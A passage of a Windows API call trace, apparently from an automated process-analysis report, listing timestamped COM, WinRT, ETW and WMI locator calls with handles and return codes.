QueryInterface () returned 0x0 [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0069.108] Release () returned 0x4 [0069.108] CoGetContextToken (in: pToken=0x14cd10 | out: pToken=0x14cd10) returned 0x0 [0069.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0069.109] CoGetContextToken (in: pToken=0x14cf60 | out: pToken=0x14cf60) returned 0x0 [0069.109] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0069.109] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0069.109] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0069.109] WindowsDeleteString () returned 0x0 [0069.110] Release () returned 0x2 [0069.110] CoGetContextToken (in: pToken=0x14d980 | out: pToken=0x14d980) returned 0x0 [0069.114] CoGetContextToken (in: pToken=0x14d880 | out: pToken=0x14d880) returned 0x0 [0069.114] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0069.114] AddRef () returned 0x4 [0069.114] Release () returned 0x3 [0069.155] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0069.231] GenericStreamBase::Write () returned 0x0 [0069.231] GenericStreamBase::Write () returned 0x0 [0069.232] CoCreateGuid (in: pguid=0x7ffa5f21e6a0 | out: pguid=0x7ffa5f21e6a0*(Data1=0x94124fb6, Data2=0xbf52, Data3=0x4b38, Data4=([0]=0xba, [1]=0x9f, [2]=0x38, [3]=0xde, [4]=0x2c, [5]=0x5a, [6]=0x39, [7]=0xcf))) returned 0x0 [0069.232] GenericStreamBase::Write () returned 0x0 [0069.239] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0069.239] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0069.239] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0069.239] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0069.239] Release () returned 0x3 [0069.240] CoGetContextToken (in: pToken=0x14cac0 | out: pToken=0x14cac0) returned 0x0 [0069.240] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0069.242] WindowsCreateString () returned 0x0 [0069.242] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0069.242] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0069.242] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0069.263] EtwEventRegister () returned 0x0 [0069.266] EtwEventSetInformation () returned 0x0 [0069.270] EtwEventRegister () returned 0x0 [0069.270] EtwEventSetInformation () returned 0x0 [0069.466] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5c81a0*=0x174, lpdwindex=0x14e654 | out: lpdwindex=0x14e654) returned 0x0 [0071.420] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5c81a0*=0x174, lpdwindex=0x14e654 | out: lpdwindex=0x14e654) returned 0x0 [0071.445] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x630c80*=0x2e4, lpdwindex=0x14e344 | out: lpdwindex=0x14e344) returned 0x0 [0071.465] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5c81a0*=0x174, lpdwindex=0x14e654) Thread: id = 2 os_tid = 0xd6c Thread: id = 3 os_tid = 0xd68 Thread: id = 4 os_tid = 0x10d0 [0066.962] CoGetContextToken (in: pToken=0x1aa6f540 | out: pToken=0x1aa6f540) returned 0x800401f0 [0066.962] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0066.962] RoInitialize () returned 0x1 [0066.962] RoUninitialize () returned 0x0 [0075.977] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0075.977] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0075.977] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0075.977] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0075.978] CloseHandle (hObject=0x2f8) returned 1 [0075.978] CloseHandle (hObject=0x304) returned 1 [0075.978] CloseHandle (hObject=0x2c0) returned 1 [0075.979] CloseHandle (hObject=0x2f4) returned 1 [0075.979] CloseHandle (hObject=0x300) returned 1 [0075.979] CloseHandle (hObject=0x308) returned 1 [0075.979] CloseHandle (hObject=0x2fc) returned 1 [0075.979] CloseHandle (hObject=0x2f0) returned 1 [0104.908] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0104.908] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.908] WbemLocator:IUnknown:Release (This=0x1b48a990) returned 0x1 [0104.908] WbemLocator:IUnknown:Release (This=0x1b48a990) returned 0x0 [0104.908] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.908] WbemLocator:IUnknown:Release (This=0x1b48adf0) returned 0x1 [0104.908] WbemLocator:IUnknown:Release (This=0x1b48adf0) returned 0x0 [0104.908] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.908] IUnknown:Release (This=0x1b4705e0) returned 0x1 [0104.908] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.908] WbemLocator:IUnknown:Release (This=0x1b45d310) returned 0x1 [0104.908] WbemLocator:IUnknown:Release (This=0x1b45d310) returned 0x0 [0104.908] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x0 [0104.909] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0104.909] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0104.909] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x0 [0104.931] IUnknown:Release (This=0x1b49e6e0) returned 0x0 [0104.931] IUnknown:Release (This=0x1b49df10) returned 0x0 [0104.978] IUnknown:Release (This=0x1b4a1200) returned 0x0 [0106.980] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0106.980] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.981] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0106.981] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x0 [0106.981] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.981] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0106.981] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x0 [0106.981] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.981] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0106.981] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0106.982] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x0 [0106.982] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.982] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0106.983] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0106.983] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.983] IUnknown:Release (This=0x643ae0) returned 0x1 [0106.984] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.984] WbemLocator:IUnknown:Release (This=0x1b425bf8) returned 0x1 [0106.984] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x0 [0106.984] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.984] WbemLocator:IUnknown:Release (This=0x1b425d98) returned 0x1 [0106.984] WbemLocator:IUnknown:Release (This=0x63c860) returned 0x0 [0106.985] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.985] WbemLocator:IUnknown:Release (This=0x1b45cd70) returned 0x1 [0106.985] WbemLocator:IUnknown:Release (This=0x1b45cd70) returned 0x0 [0106.985] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.985] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x1 [0106.985] WbemLocator:IUnknown:Release (This=0x63c8f0) returned 0x0 [0106.986] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.986] WbemLocator:IUnknown:Release (This=0x1b45d490) returned 0x1 [0106.986] WbemLocator:IUnknown:Release (This=0x1b45d490) returned 0x0 [0106.986] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0106.986] WbemLocator:IUnknown:Release (This=0x1b48b390) returned 0x1 [0106.986] WbemLocator:IUnknown:Release (This=0x1b48b390) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49e650) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49e3a0) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49e030) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49d860) returned 0x0 [0107.005] IUnknown:Release (This=0x1b4a1130) returned 0x0 [0107.005] IUnknown:Release (This=0x1b4a0dc0) returned 0x0 [0107.005] IUnknown:Release (This=0x643ae0) returned 0x0 [0107.005] IUnknown:Release (This=0x1b4705e0) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49ea50) returned 0x0 [0107.005] IUnknown:Release (This=0x1b49d4f0) returned 0x0 [0107.005] IUnknown:Release (This=0x1b470950) returned 0x0 [0109.056] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0109.056] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.056] WbemLocator:IUnknown:Release (This=0x1b45cdb0) returned 0x1 [0109.056] WbemLocator:IUnknown:Release (This=0x1b45cdb0) returned 0x0 [0109.056] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.056] IUnknown:Release (This=0x1b470890) returned 0x1 [0109.056] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.056] WbemLocator:IUnknown:Release (This=0x1b45d690) returned 0x1 [0109.056] WbemLocator:IUnknown:Release (This=0x1b45d690) returned 0x0 [0109.056] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.056] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x1 [0109.056] WbemLocator:IUnknown:Release (This=0x1b4b4040) returned 0x0 [0109.147] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.147] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x1 [0109.147] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x0 [0109.147] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.147] IUnknown:Release (This=0x1b483790) returned 0x1 [0109.147] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.147] WbemLocator:IUnknown:Release (This=0x1b452628) returned 0x1 [0109.147] WbemLocator:IUnknown:Release (This=0x1b4b4d30) returned 0x0 [0109.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.189] WbemLocator:IUnknown:Release (This=0x1b4ab9d0) returned 0x1 [0109.190] WbemLocator:IUnknown:Release (This=0x1b4ab9d0) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] IUnknown:Release (This=0x1b4ad860) returned 0x1 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemLocator:IUnknown:Release (This=0x1b4ac3d0) returned 0x1 [0109.190] WbemLocator:IUnknown:Release (This=0x1b4ac3d0) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0109.190] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0109.190] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0109.190] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0109.190] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x0 [0109.190] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.190] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0109.190] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x0 [0109.191] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.191] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0109.191] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2d60) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2d60) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a34e0) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a34e0) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2820) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2820) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2be0) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x5a2be0) returned 0x0 [0109.192] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0109.192] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0109.192] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0109.209] IUnknown:Release (This=0x5f4590) returned 0x0 [0109.209] IUnknown:Release (This=0x1b4607c0) returned 0x0 [0109.210] IUnknown:Release (This=0x1b425ad0) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4ccc40) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4cb140) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4cadd0) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4ca600) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4c9be0) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4ae630) returned 0x0 [0109.213] IUnknown:Release (This=0x1b4ad860) returned 0x0 [0109.213] IUnknown:Release (This=0x1b49fe60) returned 0x0 [0109.213] IUnknown:Release (This=0x1b49e370) returned 0x0 [0109.213] IUnknown:Release (This=0x1b49e000) returned 0x0 [0109.213] IUnknown:Release (This=0x6438e0) returned 0x0 [0109.213] IUnknown:Release (This=0x643570) returned 0x0 [0109.216] IUnknown:Release (This=0x643200) returned 0x0 [0109.217] IUnknown:Release (This=0x1b470890) returned 0x0 [0109.218] IUnknown:Release (This=0x1b470280) returned 0x0 [0111.153] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0111.154] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.154] IUnknown:Release (This=0x1b4cfad0) returned 0x1 [0111.154] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.154] WbemLocator:IUnknown:Release (This=0x1b4d2cc0) returned 0x1 [0111.154] WbemLocator:IUnknown:Release (This=0x1b4d2cc0) returned 0x0 [0111.154] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.154] WbemLocator:IUnknown:Release (This=0x1b4ad598) returned 0x1 [0111.154] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x0 [0111.220] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x1 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d26a0) returned 0x0 [0111.220] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.220] IUnknown:Release (This=0x1b4ced10) returned 0x1 [0111.220] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x1 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x0 [0111.220] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d1d40) returned 0x1 [0111.220] WbemLocator:IUnknown:Release (This=0x1b4d1d40) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0111.221] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0111.221] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x0 [0111.222] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0111.222] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x0 [0111.246] IUnknown:Release (This=0x643aa0) returned 0x0 [0111.246] IUnknown:Release (This=0x1b470930) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4d7fe0) returned 0x0 